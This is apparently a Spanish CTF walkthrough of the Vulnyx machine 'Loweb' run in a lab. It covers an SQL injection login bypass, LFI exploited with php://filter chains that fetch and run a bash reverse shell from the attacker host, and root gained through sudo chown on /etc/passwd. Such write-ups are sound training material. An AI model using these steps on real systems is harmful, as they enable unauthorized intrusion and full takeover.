Máquina Loweb (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.37
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.37


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn 10.0.2.37 -sVC

Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 80.

Comprobamos que es lo que corre por el puerto 80.

A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.37 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

Encontramos el directorio library, accedemos a el.

Volvemos a realizar con la herramienta gobuster un fuzzing web pero esta vez por extensiones, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.37/library -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x html,js,php,txt


Encontramos los directorios login y admin, accedemos a login.

Nos encontramos con un panel de login.

Probamos si el panel de login es vulnerable a inyección SQL, para ello en los campos Username y Password introducimos el siguiente código SQL:

' OR 1=1 -- -

Conseguimos acceder.

Inspeccionamos la pagina.


Nos damos cuenta que en el apartado Lenguajes en la url de que index.php incluye el fichero .php como un parámetro, siendo la pagina web vulnerable a Local File Inclusion (LFI), intentamos acceder a algún fichero en local del propio servidor.


Al intentar leer el fichero /etc/passwd al parecer no ocurre nada, pero al inspeccionar el código fuente con el inspector pulsando Ctrl + U, podemos visualizarlo.

Como el servidor esta usando php, es posible usar una utilidad llamada wrapper, probamos si esta activado el wrapper php://filter que permite leer un fichero sin procesar y, por tanto, verlo. probamos el filtro convert.base64-encode que lo que hace es codificar el fichero en base64.


Lo descodificamos con la herramienta Cyberchef.


Y recuperamos el fichero.

Podemos usar php://filter para generar contenido arbitrario o hacer que una función procese texto arbitrario conllevando a la vulnerabilidad LFI2RCE, para ello haremos uso de un generador de cadenas de filtros en php llamada php_filter_chain_generator.

A continuación, en nuestra Máquina Atacante nos creamos una reverse shell en bash, para ello ejecutamos el siguiente comando:

$ nano s

Nos montamos un servidor HTTP con python, para ello ejecutamos el siguiente comando:

$ python3 -m http.server 80

Con la ayuda de la herramienta php_filter_chain_generator, nos generamos un wrapper para pasarnos a la Máquina Victima la reverse shell, para ello ejecutamos el siguiente comando:

$ python3 php_filter_chain_generator.py --chain "<?php system('wget 10.0.2.4/s')?>"

Pegamos el wrapper que nos a generado la herramienta en el parámetro lang de la url.

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

De nuevo con la ayuda de la herramienta php_filter_chain_generator, nos generamos otro wrapper para ejecutar la reverse shell, para ello ejecutamos el siguiente comando:

$ python3 php_filter_chain_generator.py --chain "<?php system('bash s')?>"

Pegamos el nuevo wrapper que nos a generado la herramienta en el parámetro lang de la url.

Y obtenemos una shell como www-data.

Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

En el fichero /etc/passwd, vimos que existía el usuario r3dh4ck que tenia su directorio /home personal y como predeterminada la shell /bin/bash, por lo tanto, con el comando grep buscamos todos los archivos desde la raíz para ver si podemos encontrar alguna contraseña, para ello ejecutamos el siguiente comando:

$ grep -ri "password" / 2>/dev/null


Y obtenemos la credencial contraseñaconÑjeje.

Nos cambiamos al usuario r3dh4ck, para ello ejecutamos el siguiente comando:

$ su r3dh4ck


Escribimos la credencial obtenida anteriormente.

¡¡¡Somos r3dh4ck!!!

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario chown que lo podemos ejecutar como cualquier usuario, por lo tanto, podemos cambiar el propietario al directorio /etc y al fichero passwd, para así poder escribir en este fichero, para ello ejecutamos los siguientes comandos:

$ sudo /usr/bin/chown r3dh4ck:r3dh4ck /etc
$ sudo /usr/bin/chown r3dh4ck:r3dh4ck /etc/passwd

Editamos el fichero /etc/passwd y le quitamos la x al usuario root para que no nos pida contraseña, para ello ejecutamos el siguiente comando:

$ nano /etc/passwd

Nos cambiamos al usuario root sin proporcionar contraseña, para ello ejecutamos el siguiente comando:

$ su root

¡¡¡Ya somos root!!!

También pudiendo leer las flags de user root.